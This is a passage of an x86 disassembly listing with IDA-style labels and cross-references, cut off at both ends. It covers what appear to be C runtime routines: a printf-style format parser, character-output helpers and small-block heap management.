sub_415F50+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41604F or dword ptr [esi+0Ch], 20h jmp short loc_41605E ; --------------------------------------------------------------------------- loc_41604F: ; CODE XREF: sub_415F50+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_416061 ; --------------------------------------------------------------------------- loc_416059: ; CODE XREF: sub_415F50+10j ; sub_415F50+18j ... or al, 20h mov [esi+0Ch], eax loc_41605E: ; CODE XREF: sub_415F50+FDj or eax, 0FFFFFFFFh loc_416061: ; CODE XREF: sub_415F50+107j pop esi pop ebx pop ebp retn sub_415F50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416065 proc near ; CODE XREF: sub_413812+29p ; sub_413D8A+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41677E mov ecx, [ebp+var_10] xor edx, edx jmp short loc_416099 ; --------------------------------------------------------------------------- loc_416091: ; CODE XREF: sub_416065+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_416099: ; CODE XREF: sub_416065+2Aj cmp [ebp+var_14], edx jl loc_41677E cmp bl, 20h jl short loc_4160BA cmp bl, 78h jg short loc_4160BA movsx eax, bl mov al, [eax+41F65Ch] and eax, 0Fh jmp short loc_4160BC ; --------------------------------------------------------------------------- loc_4160BA: ; CODE XREF: sub_416065+40j ; sub_416065+45j xor eax, eax loc_4160BC: ; CODE XREF: sub_416065+53j movsx eax, ds:byte_41F67C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41676D ; default jmp ds:off_416786[eax*4] ; switch jump loc_4160DA: ; DATA XREF: .text:off_416786o or [ebp+var_10], 0FFFFFFFFh ; jumptable 004160D3 case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41676D ; default ; --------------------------------------------------------------------------- loc_4160F5: ; CODE XREF: sub_416065+6Ej ; DATA XREF: .text:off_416786o movsx eax, bl ; jumptable 004160D3 case 2 sub eax, 20h jz short loc_416138 sub eax, 3 jz short loc_41612F sub eax, 8 jz short loc_416126 dec eax dec eax jz short loc_41611D sub eax, 3 jnz loc_41676D ; default or [ebp+var_4], 8 jmp loc_41676D ; default ; --------------------------------------------------------------------------- loc_41611D: ; CODE XREF: sub_416065+A4j or [ebp+var_4], 4 jmp loc_41676D ; default ; --------------------------------------------------------------------------- loc_416126: ; CODE XREF: sub_416065+A0j or [ebp+var_4], 1 jmp loc_41676D ; default ; --------------------------------------------------------------------------- loc_41612F: ; CODE XREF: sub_416065+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41676D ; default ; --------------------------------------------------------------------------- loc_416138: ; CODE XREF: sub_416065+96j or [ebp+var_4], 2 jmp loc_41676D ; default ; --------------------------------------------------------------------------- loc_416141: ; CODE XREF: sub_416065+6Ej ; DATA XREF: .text:off_416786o cmp bl, 2Ah ; jumptable 004160D3 case 3 jnz short loc_416169 lea eax, [ebp+arg_8] push eax call sub_416844 test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41676D ; default or [ebp+var_4], 4 neg eax loc_416161: ; CODE XREF: sub_416065+111j mov [ebp+var_20], eax jmp loc_41676D ; default ; --------------------------------------------------------------------------- loc_416169: ; CODE XREF: sub_416065+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_416161 ; --------------------------------------------------------------------------- loc_416178: ; CODE XREF: sub_416065+6Ej ; DATA XREF: .text:off_416786o mov [ebp+var_10], edx ; jumptable 004160D3 case 4 jmp loc_41676D ; default ; --------------------------------------------------------------------------- loc_416180: ; CODE XREF: sub_416065+6Ej ; DATA XREF: .text:off_416786o cmp bl, 2Ah ; jumptable 004160D3 case 5 jnz short loc_4161A3 lea eax, [ebp+arg_8] push eax call sub_416844 test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41676D ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41676D ; default ; --------------------------------------------------------------------------- loc_4161A3: ; CODE XREF: sub_416065+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41676D ; default ; --------------------------------------------------------------------------- loc_4161B5: ; CODE XREF: sub_416065+6Ej ; DATA XREF: .text:off_416786o cmp bl, 49h ; jumptable 004160D3 case 6 jz short loc_4161E8 cmp bl, 68h jz short loc_4161DF cmp bl, 6Ch jz short loc_4161D6 cmp bl, 77h jnz loc_41676D ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41676D ; default ; --------------------------------------------------------------------------- loc_4161D6: ; CODE XREF: sub_416065+15Dj or [ebp+var_4], 10h jmp loc_41676D ; default ; --------------------------------------------------------------------------- loc_4161DF: ; CODE XREF: sub_416065+158j or [ebp+var_4], 20h jmp loc_41676D ; default ; --------------------------------------------------------------------------- loc_4161E8: ; CODE XREF: sub_416065+153j cmp byte ptr [edi], 36h jnz short loc_416201 cmp byte ptr [edi+1], 34h jnz short loc_416201 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41676D ; default ; --------------------------------------------------------------------------- loc_416201: ; CODE XREF: sub_416065+186j ; sub_416065+18Cj mov [ebp+var_30], edx loc_416204: ; CODE XREF: sub_416065+6Ej ; DATA XREF: .text:off_416786o mov ecx, off_4377B0 ; jumptable 004160D3 case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_416230 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_4167A6 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_416230: ; CODE XREF: sub_416065+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_4167A6 add esp, 0Ch jmp loc_41676D ; default ; --------------------------------------------------------------------------- loc_416248: ; CODE XREF: sub_416065+6Ej ; DATA XREF: .text:off_416786o movsx eax, bl ; jumptable 004160D3 case 7 cmp eax, 67h jg loc_416470 cmp eax, 65h jge loc_4162F3 cmp eax, 58h jg loc_416351 jz loc_4164E4 sub eax, 43h jz loc_416314 dec eax dec eax jz short loc_4162E9 dec eax dec eax jz short loc_4162E9 sub eax, 0Ch jnz loc_41666F test word ptr [ebp+var_4], 830h jnz short loc_416292 or byte ptr [ebp+var_4+1], 8 loc_416292: ; CODE XREF: sub_416065+227j ; sub_416065+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41629F mov esi, 7FFFFFFFh loc_41629F: ; CODE XREF: sub_416065+233j lea eax, [ebp+arg_8] push eax call sub_416844 test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_4164B8 test ecx, ecx jnz short loc_4162C7 mov ecx, off_4377AC mov [ebp+var_8], ecx loc_4162C7: ; CODE XREF: sub_416065+257j mov [ebp+var_24], 1 mov eax, ecx loc_4162D0: ; CODE XREF: sub_416065+282j mov edx, esi dec esi test edx, edx jz loc_4164AF cmp word ptr [eax], 0 jz loc_4164AF inc eax inc eax jmp short loc_4162D0 ; --------------------------------------------------------------------------- loc_4162E9: ; CODE XREF: sub_416065+212j ; sub_416065+216j mov [ebp+var_34], 1 add bl, 20h loc_4162F3: ; CODE XREF: sub_416065+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_4163D7 mov [ebp+var_10], 6 jmp loc_4163E5 ; --------------------------------------------------------------------------- loc_416314: ; CODE XREF: sub_416065+20Aj test word ptr [ebp+var_4], 830h jnz short loc_416320 or byte ptr [ebp+var_4+1], 8 loc_416320: ; CODE XREF: sub_416065+2B5j ; sub_416065+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_416367 call sub_416861 push eax lea eax, [ebp+var_248] push eax call sub_41B4AB add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41637A mov [ebp+var_28], 1 jmp short loc_41637A ; --------------------------------------------------------------------------- loc_416351: ; CODE XREF: sub_416065+1FBj sub eax, 5Ah jz short loc_416388 sub eax, 9 jz short loc_416320 dec eax jz loc_41654A jmp loc_41666F ; --------------------------------------------------------------------------- loc_416367: ; CODE XREF: sub_416065+2C5j call sub_416844 pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41637A: ; CODE XREF: sub_416065+2E1j ; sub_416065+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41666F ; --------------------------------------------------------------------------- loc_416388: ; CODE XREF: sub_416065+2EFj lea eax, [ebp+arg_8] push eax call sub_416844 test eax, eax pop ecx jz short loc_4163C9 mov ecx, [eax+4] test ecx, ecx jz short loc_4163C9 test byte ptr [ebp+var_4+1], 8 jz short loc_4163BA movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41666F ; --------------------------------------------------------------------------- loc_4163BA: ; CODE XREF: sub_416065+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41666C ; --------------------------------------------------------------------------- loc_4163C9: ; CODE XREF: sub_416065+32Fj ; sub_416065+336j mov eax, off_4377A8 mov [ebp+var_8], eax push eax jmp loc_416465 ; --------------------------------------------------------------------------- loc_4163D7: ; CODE XREF: sub_416065+29Dj jnz short loc_4163E5 cmp bl, 67h jnz short loc_4163E5 mov [ebp+var_10], 1 loc_4163E5: ; CODE XREF: sub_416065+2AAj ; sub_416065:loc_4163D7j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_437AE8 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_416437 cmp [ebp+var_10], 0 jnz short loc_416437 lea eax, [ebp+var_248] push eax call off_437AF4 pop ecx loc_416437: ; CODE XREF: sub_416065+3BCj ; sub_416065+3C2j cmp bl, 67h jnz short loc_41644E test esi, esi jnz short loc_41644E lea eax, [ebp+var_248] push eax call off_437AEC pop ecx loc_41644E: ; CODE XREF: sub_416065+3D5j ; sub_416065+3D9j cmp [ebp+var_248], 2Dh jnz short loc_416464 or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_416464: ; CODE XREF: sub_416065+3F0j push edi loc_416465: ; CODE XREF: sub_416065+36Dj call sub_413E90 pop ecx jmp loc_41666C ; --------------------------------------------------------------------------- loc_416470: ; CODE XREF: sub_416065+1E9j sub eax, 69h jz loc_41654A sub eax, 5 jz loc_416520 dec eax jz loc_41650D dec eax jz short loc_4164DD sub eax, 3 jz loc_416292 dec eax dec eax jz loc_41654E sub eax, 3 jnz loc_41666F mov [ebp+var_2C], 27h jmp short loc_4164EB ; --------------------------------------------------------------------------- loc_4164AF: ; CODE XREF: sub_416065+270j ; sub_416065+27Aj sub eax, ecx sar eax, 1 jmp loc_41666C ; --------------------------------------------------------------------------- loc_4164B8: ; CODE XREF: sub_416065+24Fj test ecx, ecx jnz short loc_4164C5 mov ecx, off_4377A8 mov [ebp+var_8], ecx loc_4164C5: ; CODE XREF: sub_416065+455j mov eax, ecx loc_4164C7: ; CODE XREF: sub_416065+46Fj mov edx, esi dec esi test edx, edx jz short loc_4164D6 cmp byte ptr [eax], 0 jz short loc_4164D6 inc eax jmp short loc_4164C7 ; --------------------------------------------------------------------------- loc_4164D6: ; CODE XREF: sub_416065+467j ; sub_416065+46Cj sub eax, ecx jmp loc_41666C ; --------------------------------------------------------------------------- loc_4164DD: ; CODE XREF: sub_416065+425j mov [ebp+var_10], 8 loc_4164E4: ; CODE XREF: sub_416065+201j mov [ebp+var_2C], 7 loc_4164EB: ; CODE XREF: sub_416065+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_416555 mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_416555 ; --------------------------------------------------------------------------- loc_41650D: ; CODE XREF: sub_416065+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_416555 or byte ptr [ebp+var_4+1], 2 jmp short loc_416555 ; --------------------------------------------------------------------------- loc_416520: ; CODE XREF: sub_416065+417j lea eax, [ebp+arg_8] push eax call sub_416844 test byte ptr [ebp+var_4], 20h pop ecx jz short loc_416539 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41653E ; --------------------------------------------------------------------------- loc_416539: ; CODE XREF: sub_416065+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41653E: ; CODE XREF: sub_416065+4D2j mov [ebp+var_28], 1 jmp loc_41676D ; default ; --------------------------------------------------------------------------- loc_41654A: ; CODE XREF: sub_416065+2F7j ; sub_416065+40Ej or [ebp+var_4], 40h loc_41654E: ; CODE XREF: sub_416065+432j mov [ebp+var_C], 0Ah loc_416555: ; CODE XREF: sub_416065+491j ; sub_416065+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_416567 lea eax, [ebp+arg_8] push eax call sub_416851 pop ecx jmp short loc_4165A8 ; --------------------------------------------------------------------------- loc_416567: ; CODE XREF: sub_416065+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41658E test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_416583 call sub_416844 pop ecx movsx eax, ax loc_416580: ; CODE XREF: sub_416065+527j ; sub_416065+539j cdq jmp short loc_4165A8 ; --------------------------------------------------------------------------- loc_416583: ; CODE XREF: sub_416065+510j call sub_416844 pop ecx movzx eax, ax jmp short loc_416580 ; --------------------------------------------------------------------------- loc_41658E: ; CODE XREF: sub_416065+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_4165A0 call sub_416844 pop ecx jmp short loc_416580 ; --------------------------------------------------------------------------- loc_4165A0: ; CODE XREF: sub_416065+531j call sub_416844 pop ecx xor edx, edx loc_4165A8: ; CODE XREF: sub_416065+500j ; sub_416065+51Cj test byte ptr [ebp+var_4], 40h jz short loc_4165C9 test edx, edx jg short loc_4165C9 jl short loc_4165B8 test eax, eax jnb short loc_4165C9 loc_4165B8: ; CODE XREF: sub_416065+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_4165CD ; --------------------------------------------------------------------------- loc_4165C9: ; CODE XREF: sub_416065+547j ; sub_416065+54Bj ... mov esi, eax mov edi, edx loc_4165CD: ; CODE XREF: sub_416065+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_4165D6 and edi, 0 loc_4165D6: ; CODE XREF: sub_416065+56Cj cmp [ebp+var_10], 0 jge short loc_4165E5 mov [ebp+var_10], 1 jmp short loc_4165E9 ; --------------------------------------------------------------------------- loc_4165E5: ; CODE XREF: sub_416065+575j and [ebp+var_4], 0FFFFFFF7h loc_4165E9: ; CODE XREF: sub_416065+57Ej mov eax, esi or eax, edi jnz short loc_4165F3 and [ebp+var_1C], 0 loc_4165F3: ; CODE XREF: sub_416065+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_4165F9: ; CODE XREF: sub_416065+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_416609 mov eax, esi or eax, edi jz short loc_416644 loc_416609: ; CODE XREF: sub_416065+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_415540 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_4155C0 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41663A add ebx, [ebp+var_2C] loc_41663A: ; CODE XREF: sub_416065+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_4165F9 ; --------------------------------------------------------------------------- loc_416644: ; CODE XREF: sub_416065+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41666F mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_416662 test eax, eax jnz short loc_41666F loc_416662: ; CODE XREF: sub_416065+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41666C: ; CODE XREF: sub_416065+35Fj ; sub_416065+406j ... mov [ebp+var_C], eax loc_41666F: ; CODE XREF: sub_416065+21Bj ; sub_416065+2FDj ... cmp [ebp+var_28], 0 jnz loc_41676D ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_4166A7 test bh, 1 jz short loc_41668C mov [ebp+var_16], 2Dh jmp short loc_4166A0 ; --------------------------------------------------------------------------- loc_41668C: ; CODE XREF: sub_416065+61Fj test bl, 1 jz short loc_416697 mov [ebp+var_16], 2Bh jmp short loc_4166A0 ; --------------------------------------------------------------------------- loc_416697: ; CODE XREF: sub_416065+62Aj test bl, 2 jz short loc_4166A7 mov [ebp+var_16], 20h loc_4166A0: ; CODE XREF: sub_416065+625j ; sub_416065+630j mov [ebp+var_1C], 1 loc_4166A7: ; CODE XREF: sub_416065+61Aj ; sub_416065+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_4166C7 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4167DB add esp, 10h loc_4166C7: ; CODE XREF: sub_416065+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41680C add esp, 10h test bl, 8 jz short loc_4166F9 test bl, 4 jnz short loc_4166F9 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_4167DB add esp, 10h loc_4166F9: ; CODE XREF: sub_416065+67Bj ; sub_416065+680j cmp [ebp+var_24], 0 jz short loc_416740 cmp [ebp+var_C], 0 jle short loc_416740 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41670E: ; CODE XREF: sub_416065+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_41B4AB pop ecx test eax, eax pop ecx jle short loc_416755 lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41680C add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41670E jmp short loc_416755 ; --------------------------------------------------------------------------- loc_416740: ; CODE XREF: sub_416065+698j ; sub_416065+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41680C add esp, 10h loc_416755: ; CODE XREF: sub_416065+6BCj ; sub_416065+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41676D ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4167DB add esp, 10h loc_41676D: ; CODE XREF: sub_416065+68j ; sub_416065+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_416091 loc_41677E: ; CODE XREF: sub_416065+1Fj ; sub_416065+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_416065 endp ; --------------------------------------------------------------------------- off_416786 dd offset loc_416204 ; DATA XREF: sub_416065+6Er dd offset loc_4160DA ; jump table for switch statement dd offset loc_4160F5 dd offset loc_416141 dd offset loc_416178 dd offset loc_416180 dd offset loc_4161B5 dd offset loc_416248 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167A6 proc near ; CODE XREF: sub_416065+1BDp ; sub_416065+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_4167BF mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_4167CA ; --------------------------------------------------------------------------- loc_4167BF: ; CODE XREF: sub_4167A6+9j push ecx push [ebp+arg_0] call sub_415F50 pop ecx pop ecx loc_4167CA: ; CODE XREF: sub_4167A6+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_4167D7 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_4167D7: ; CODE XREF: sub_4167A6+2Aj inc dword ptr [eax] pop ebp retn sub_4167A6 endp ; =============== S U B R O U T I N E ======================================= sub_4167DB proc near ; CODE XREF: sub_416065+65Ap ; sub_416065+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_416809 mov esi, [esp+8+arg_C] loc_4167EC: ; CODE XREF: sub_4167DB+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_4167A6 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_416809 mov eax, edi dec edi test eax, eax jg short loc_4167EC loc_416809: ; CODE XREF: sub_4167DB+Bj ; sub_4167DB+25j pop edi pop esi retn sub_4167DB endp ; =============== S U B R O U T I N E ======================================= sub_41680C proc near ; CODE XREF: sub_416065+670p ; sub_416065+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_416840 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_416822: ; CODE XREF: sub_41680C+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_4167A6 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_416840 mov eax, ebx dec ebx test eax, eax jg short loc_416822 loc_416840: ; CODE XREF: sub_41680C+Cj ; sub_41680C+2Bj pop edi pop esi pop ebx retn sub_41680C endp ; =============== S U B R O U T I N E ======================================= sub_416844 proc near ; CODE XREF: sub_416065+E5p ; sub_416065+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_416844 endp ; =============== S U B R O U T I N E ======================================= sub_416851 proc near ; CODE XREF: sub_416065+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_416851 endp ; =============== S U B R O U T I N E ======================================= sub_416861 proc near ; CODE XREF: sub_416065+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_416861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41686F proc near ; CODE XREF: sub_413CF4+17p ; sub_413CF4+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41688D mov ecx, off_4377B0 movzx eax, word ptr [ecx+eax*2] jmp short loc_4168DF ; --------------------------------------------------------------------------- loc_41688D: ; CODE XREF: sub_41686F+10j mov ecx, eax push esi mov esi, off_4377B0 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_4168B2 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_4168BB ; --------------------------------------------------------------------------- loc_4168B2: ; CODE XREF: sub_41686F+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_4168BB: ; CODE XREF: sub_41686F+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_41B513 add esp, 1Ch test eax, eax jnz short loc_4168DB leave retn ; --------------------------------------------------------------------------- loc_4168DB: ; CODE XREF: sub_41686F+68j movzx eax, word ptr [ebp+arg_0+2] loc_4168DF: ; CODE XREF: sub_41686F+1Cj and eax, [ebp+arg_4] leave retn sub_41686F endp ; =============== S U B R O U T I N E ======================================= sub_4168E4 proc near ; CODE XREF: sub_413F1D+1Fp ; sub_4157BF+106p ... arg_0 = dword ptr 4 mov eax, dword_742288 test eax, eax jz short loc_4168FC push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_4168FC push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4168FC: ; CODE XREF: sub_4168E4+7j ; sub_4168E4+12j xor eax, eax retn sub_4168E4 endp ; =============== S U B R O U T I N E ======================================= sub_4168FF proc near ; CODE XREF: .text:00415E6Bp arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call ds:dword_41F16C ; HeapCreate test eax, eax mov dword_743880, eax jz short loc_416934 call sub_41693B test eax, eax jnz short loc_416937 push dword_743880 call ds:off_41F168 loc_416934: ; CODE XREF: sub_4168FF+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_416937: ; CODE XREF: sub_4168FF+27j push 1 pop eax retn sub_4168FF endp ; =============== S U B R O U T I N E ======================================= sub_41693B proc near ; CODE XREF: sub_4168FF+20p push 140h push 0 push dword_743880 call ds:dword_41F144 ; RtlAllocateHeap test eax, eax mov dword_74387C, eax jnz short loc_416958 retn ; --------------------------------------------------------------------------- loc_416958: ; CODE XREF: sub_41693B+1Aj and dword_743874, 0 and dword_743878, 0 push 1 mov dword_743870, eax mov dword_743868, 10h pop eax retn sub_41693B endp ; =============== S U B R O U T I N E ======================================= sub_416979 proc near ; CODE XREF: sub_413F7F+Ap ; sub_4157BF+3Dp ... arg_0 = dword ptr 4 mov eax, dword_743878 lea ecx, [eax+eax*4] mov eax, dword_74387C lea ecx, [eax+ecx*4] loc_416989: ; CODE XREF: sub_416979+26j cmp eax, ecx jnb short loc_4169A1 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_4169A3 add eax, 14h jmp short loc_416989 ; --------------------------------------------------------------------------- loc_4169A1: ; CODE XREF: sub_416979+12j xor eax, eax locret_4169A3: ; CODE XREF: sub_416979+21j retn sub_416979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169A4 proc near ; CODE XREF: sub_413F7F+16p ; sub_4157BF+89p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] push ebx push esi mov eax, [ecx+10h] mov esi, edx sub esi, [ecx+0Ch] mov ebx, [edx-4] add edx, 0FFFFFFFCh push edi shr esi, 0Fh mov ecx, esi mov edi, [edx-4] imul ecx, 204h dec ebx mov [ebp+var_4], edi lea ecx, [ecx+eax+144h] mov [ebp+var_C], ebx mov [ebp+var_10], ecx mov ecx, [ebx+edx] test cl, 1 mov [ebp+var_8], ecx jnz short loc_416A6A sar ecx, 4 push 3Fh dec ecx pop edi mov [ebp+arg_4], ecx cmp ecx, edi jbe short loc_4169FC mov [ebp+arg_4], edi loc_4169FC: ; CODE XREF: sub_4169A4+53j mov ecx, [ebx+edx+4] cmp ecx, [ebx+edx+8] jnz short loc_416A4E mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_416A2A mov edi, 80000000h shr edi, cl lea ecx, [ecx+eax+4] not edi and [eax+esi*4+44h], edi dec byte ptr [ecx] jnz short loc_416A4E mov ecx, [ebp+arg_0] and [ecx], edi jmp short loc_416A4E ; --------------------------------------------------------------------------- loc_416A2A: ; CODE XREF: sub_4169A4+68j add ecx, 0FFFFFFE0h mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edi and [eax+esi*4+0C4h], edi dec byte ptr [ecx] jnz short loc_416A4E mov ecx, [ebp+arg_0] and [ecx+4], edi loc_416A4E: ; CODE XREF: sub_4169A4+60j ; sub_4169A4+7Dj ... mov ecx, [ebx+edx+8] mov edi, [ebx+edx+4] mov [ecx+4], edi mov ecx, [ebx+edx+4] mov edi, [ebx+edx+8] add ebx, [ebp+var_8] mov [ecx+8], edi mov [ebp+var_C], ebx loc_416A6A: ; CODE XREF: sub_4169A4+45j mov edi, ebx sar edi, 4 dec edi cmp edi, 3Fh jbe short loc_416A78 push 3Fh pop edi 